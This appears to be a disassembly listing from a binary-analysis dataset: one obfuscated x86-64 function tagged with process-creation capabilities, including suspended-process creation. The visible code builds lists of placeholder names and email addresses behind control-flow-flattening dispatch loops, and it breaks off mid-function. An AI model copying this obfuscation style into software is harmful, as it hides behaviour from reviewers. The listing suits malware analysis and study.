Function at 0x180001000
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x318
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x290], 0xfffffffffffffffe
mov edx, 0x287b928
lea rax, [rbp + 0xd8]
lea rcx, [rbp + 0xd0]
nop dword [rax]
cmp edx, 0xa5866e80
je 0x1800010d8
cmp edx, 0x287b928
jne 0x180001040
mov edx, 0x53a4cf89
nop dword [rax]
cmp edx, 0xe33ea50b
je 0x1800010c7
cmp edx, 0x53a4cf89
jne 0x180001060
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0x100], rax
mov edx, 0xaf49d707
nop word [rax + rax]
cmp edx, 0xca233e1
je 0x1800010b5
cmp edx, 0xaf49d707
jne 0x180001090
mov rdx, qword [rbp + 0x100]
mov qword [rdx], 0
mov edx, 0xca233e1
jmp 0x180001090
mov qword [rbp + 0xe0], 0
mov edx, 0xe33ea50b
jmp 0x180001060
mov qword [rbp + 0x248], rcx
mov edx, 0xa5866e80
jmp 0x180001040
mov rax, qword [rbp + 0x248]
lea rdx, str.John
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word [rax + rax]
cmp eax, 0x4f25085e
je 0x180001110
cmp eax, 0x8a0da404
jne 0x180001100
jmp 0x180001117
mov eax, 0x8a0da404
jmp 0x180001100
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xd0]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001160
cmp eax, 0xc051908a
jne 0x180001150
jmp 0x180001167
mov eax, 0xc051908a
jmp 0x180001150
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001192
cmp ecx, 0xb017ea35
jne 0x180001180
jmp 0x180001199
mov ecx, 0xb017ea35
jmp 0x180001180
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x1800011c0
cmp eax, 0xe9903090
jne 0x1800011b0
jmp 0x1800011c7
mov eax, 0xe9903090
jmp 0x1800011b0
lea rdx, str.johnsmith_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x180001200
cmp eax, 0x8a0da404
jne 0x1800011f0
jmp 0x180001207
mov eax, 0x8a0da404
jmp 0x1800011f0
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xd0]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001250
cmp eax, 0xc051908a
jne 0x180001240
jmp 0x180001257
mov eax, 0xc051908a
jmp 0x180001240
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001282
cmp ecx, 0xb017ea35
jne 0x180001270
jmp 0x180001289
mov ecx, 0xb017ea35
jmp 0x180001270
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x1800012b0
cmp eax, 0xe9903090
jne 0x1800012a0
jmp 0x1800012b7
mov eax, 0xe9903090
jmp 0x1800012a0
lea rdx, str.john00_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x1800012f0
cmp eax, 0x8a0da404
jne 0x1800012e0
jmp 0x1800012f7
mov eax, 0x8a0da404
jmp 0x1800012e0
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xd0]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001340
cmp eax, 0xc051908a
jne 0x180001330
jmp 0x180001347
mov eax, 0xc051908a
jmp 0x180001330
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001372
cmp ecx, 0xb017ea35
jne 0x180001360
jmp 0x180001379
mov ecx, 0xb017ea35
jmp 0x180001360
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x1800013a0
cmp eax, 0xe9903090
jne 0x180001390
jmp 0x1800013a7
mov eax, 0xe9903090
jmp 0x180001390
mov edx, 0x287b928
lea rax, [rbp + 0xf0]
lea rcx, [rbp + 0xe8]
nop word [rax + rax]
cmp edx, 0xa5866e80
je 0x180001458
cmp edx, 0x287b928
jne 0x1800013c0
mov edx, 0x53a4cf89
nop dword [rax]
cmp edx, 0xe33ea50b
je 0x180001447
cmp edx, 0x53a4cf89
jne 0x1800013e0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0x100], rax
mov edx, 0xaf49d707
nop word [rax + rax]
cmp edx, 0xca233e1
je 0x180001435
cmp edx, 0xaf49d707
jne 0x180001410
mov rdx, qword [rbp + 0x100]
mov qword [rdx], 0
mov edx, 0xca233e1
jmp 0x180001410
mov qword [rbp + 0xf8], 0
mov edx, 0xe33ea50b
jmp 0x1800013e0
mov qword [rbp + 0x248], rcx
mov edx, 0xa5866e80
jmp 0x1800013c0
mov rax, qword [rbp + 0x248]
lea rdx, str.John
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word [rax + rax]
cmp eax, 0x4f25085e
je 0x180001490
cmp eax, 0x8a0da404
jne 0x180001480
jmp 0x180001497
mov eax, 0x8a0da404
jmp 0x180001480
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xe8]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x1800014e0
cmp eax, 0xc051908a
jne 0x1800014d0
jmp 0x1800014e7
mov eax, 0xc051908a
jmp 0x1800014d0
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001512
cmp ecx, 0xb017ea35
jne 0x180001500
jmp 0x180001519
mov ecx, 0xb017ea35
jmp 0x180001500
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x180001540
cmp eax, 0xe9903090
jne 0x180001530
jmp 0x180001547
mov eax, 0xe9903090
jmp 0x180001530
lea rdx, str.johnsmith_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x180001580
cmp eax, 0x8a0da404
jne 0x180001570
jmp 0x180001587
mov eax, 0x8a0da404
jmp 0x180001570
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xe8]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x1800015d0
cmp eax, 0xc051908a
jne 0x1800015c0
jmp 0x1800015d7
mov eax, 0xc051908a
jmp 0x1800015c0
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001602
cmp ecx, 0xb017ea35
jne 0x1800015f0
jmp 0x180001609
mov ecx, 0xb017ea35
jmp 0x1800015f0
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x180001630
cmp eax, 0xe9903090
jne 0x180001620
jmp 0x180001637
mov eax, 0xe9903090
jmp 0x180001620
lea rdx, str.john_newyork_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x180001670
cmp eax, 0x8a0da404
jne 0x180001660
jmp 0x180001677
mov eax, 0x8a0da404
jmp 0x180001660
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xe8]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x1800016c0
cmp eax, 0xc051908a
jne 0x1800016b0
jmp 0x1800016c7
mov eax, 0xc051908a
jmp 0x1800016b0
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x1800016f2
cmp ecx, 0xb017ea35
jne 0x1800016e0
jmp 0x1800016f9
mov ecx, 0xb017ea35
jmp 0x1800016e0
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x180001720
cmp eax, 0xe9903090
jne 0x180001710
jmp 0x180001727
mov eax, 0xe9903090
jmp 0x180001710
mov edx, 0x287b928
lea rax, [rbp + 0xa8]
lea rcx, [rbp + 0xa0]
nop word [rax + rax]
cmp edx, 0xa5866e80
je 0x1800017d8
cmp edx, 0x287b928
jne 0x180001740
mov edx, 0x53a4cf89
nop dword [rax]
cmp edx, 0xe33ea50b
je 0x1800017c7
cmp edx, 0x53a4cf89
jne 0x180001760
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0x100], rax
mov edx, 0xaf49d707
nop word [rax + rax]
cmp edx, 0xca233e1
je 0x1800017b5
cmp edx, 0xaf49d707
jne 0x180001790
mov rdx, qword [rbp + 0x100]
mov qword [rdx], 0
mov edx, 0xca233e1
jmp 0x180001790
mov qword [rbp + 0xb0], 0
mov edx, 0xe33ea50b
jmp 0x180001760
mov qword [rbp + 0x248], rcx
mov edx, 0xa5866e80
jmp 0x180001740
mov rax, qword [rbp + 0x248]
lea rdx, str.Mary
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word [rax + rax]
cmp eax, 0x4f25085e
je 0x180001810
cmp eax, 0x8a0da404
jne 0x180001800
jmp 0x180001817
mov eax, 0x8a0da404
jmp 0x180001800
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xa0]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001860
cmp eax, 0xc051908a
jne 0x180001850
jmp 0x180001867
mov eax, 0xc051908a
jmp 0x180001850
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001892
cmp ecx, 0xb017ea35
jne 0x180001880
jmp 0x180001899
mov ecx, 0xb017ea35
jmp 0x180001880
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x1800018c0
cmp eax, 0xe9903090
jne 0x1800018b0
jmp 0x1800018c7
mov eax, 0xe9903090
jmp 0x1800018b0
lea rdx, str.mary_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x180001900
cmp eax, 0x8a0da404
jne 0x1800018f0
jmp 0x180001907
mov eax, 0x8a0da404
jmp 0x1800018f0
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xa0]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001950
cmp eax, 0xc051908a
jne 0x180001940
jmp 0x180001957
mov eax, 0xc051908a
jmp 0x180001940
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001982
cmp ecx, 0xb017ea35
jne 0x180001970
jmp 0x180001989
mov ecx, 0xb017ea35
jmp 0x180001970
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x1800019b0
cmp eax, 0xe9903090
jne 0x1800019a0
jmp 0x1800019b7
mov eax, 0xe9903090
jmp 0x1800019a0
mov edx, 0x287b928
lea rax, [rbp + 0xc0]
lea rcx, [rbp + 0xb8]
nop word [rax + rax]
cmp edx, 0xa5866e80
je 0x180001a68
cmp edx, 0x287b928
jne 0x1800019d0
mov edx, 0x53a4cf89
nop dword [rax]
cmp edx, 0xe33ea50b
je 0x180001a57
cmp edx, 0x53a4cf89
jne 0x1800019f0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0x100], rax
mov edx, 0xaf49d707
nop word [rax + rax]
cmp edx, 0xca233e1
je 0x180001a45
cmp edx, 0xaf49d707
jne 0x180001a20
mov rdx, qword [rbp + 0x100]
mov qword [rdx], 0
mov edx, 0xca233e1
jmp 0x180001a20
mov qword [rbp + 0xc8], 0
mov edx, 0xe33ea50b
jmp 0x1800019f0
mov qword [rbp + 0x248], rcx
mov edx, 0xa5866e80
jmp 0x1800019d0
mov rax, qword [rbp + 0x248]
lea rdx, str.John
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word [rax + rax]
cmp eax, 0x4f25085e
je 0x180001aa0
cmp eax, 0x8a0da404
jne 0x180001a90
jmp 0x180001aa7
mov eax, 0x8a0da404
jmp 0x180001a90
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xb8]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001af0
cmp eax, 0xc051908a
jne 0x180001ae0
jmp 0x180001af7
mov eax, 0xc051908a
jmp 0x180001ae0
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001b22
cmp ecx, 0xb017ea35
jne 0x180001b10
jmp 0x180001b29
mov ecx, 0xb017ea35
jmp 0x180001b10
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x180001b50
cmp eax, 0xe9903090
jne 0x180001b40
jmp 0x180001b57
mov eax, 0xe9903090
jmp 0x180001b40
lea rdx, str.johnnybravo_mail.com
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.180005820
mov eax, 0x4f25085e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4f25085e
je 0x180001b90
cmp eax, 0x8a0da404
jne 0x180001b80
jmp 0x180001b97
mov eax, 0x8a0da404
jmp 0x180001b80
mov qword [rbp + 0x268], rsi
mov rdx, qword [rbp + 0x268]
lea rcx, [rbp + 0xb8]
call fcn.1800089e0
lea rsi, [rbp + 0x100]
mov rcx, rsi
call fcn.1800063a0
mov eax, 0xe80595c0
nop word cs:[rax + rax]
nop
cmp eax, 0xe80595c0
je 0x180001be0
cmp eax, 0xc051908a
jne 0x180001bd0
jmp 0x180001be7
mov eax, 0xc051908a
jmp 0x180001bd0
mov qword [rbp + 0x218], rsi
mov rax, qword [rbp + 0x218]
mov ecx, 0x13c74665
nop word [rax + rax]
cmp ecx, 0x13c74665
je 0x180001c12
cmp ecx, 0xb017ea35
jne 0x180001c00
jmp 0x180001c19
mov ecx, 0xb017ea35
jmp 0x180001c00
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, 0xc5f3b965
nop dword [rax]
cmp eax, 0xc5f3b965
je 0x180001c40
cmp eax, 0xe9903090
jne 0x180001c30
jmp 0x180001c47
mov eax, 0xe9903090
jmp 0x180001c30
lea rax, [rbp + 0x88]
mov qword [rbp + 0x248], rax
mov ecx, 0xfd7f1231
mov rax, qword [rbp + 0x248]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfd7f1231
je 0x180001c82
cmp ecx, 0xdeb96724
jne 0x180001c70
jmp 0x180001c89
mov ecx, 0xdeb96724
jmp 0x180001c70
mov ecx, 0x62624e1b
xorps xmm0, xmm0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x62624e1b
je 0x180001cb2
cmp ecx, 0x9fe2582e
jne 0x180001ca0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov ecx, 0x9fe2582e
jmp 0x180001ca0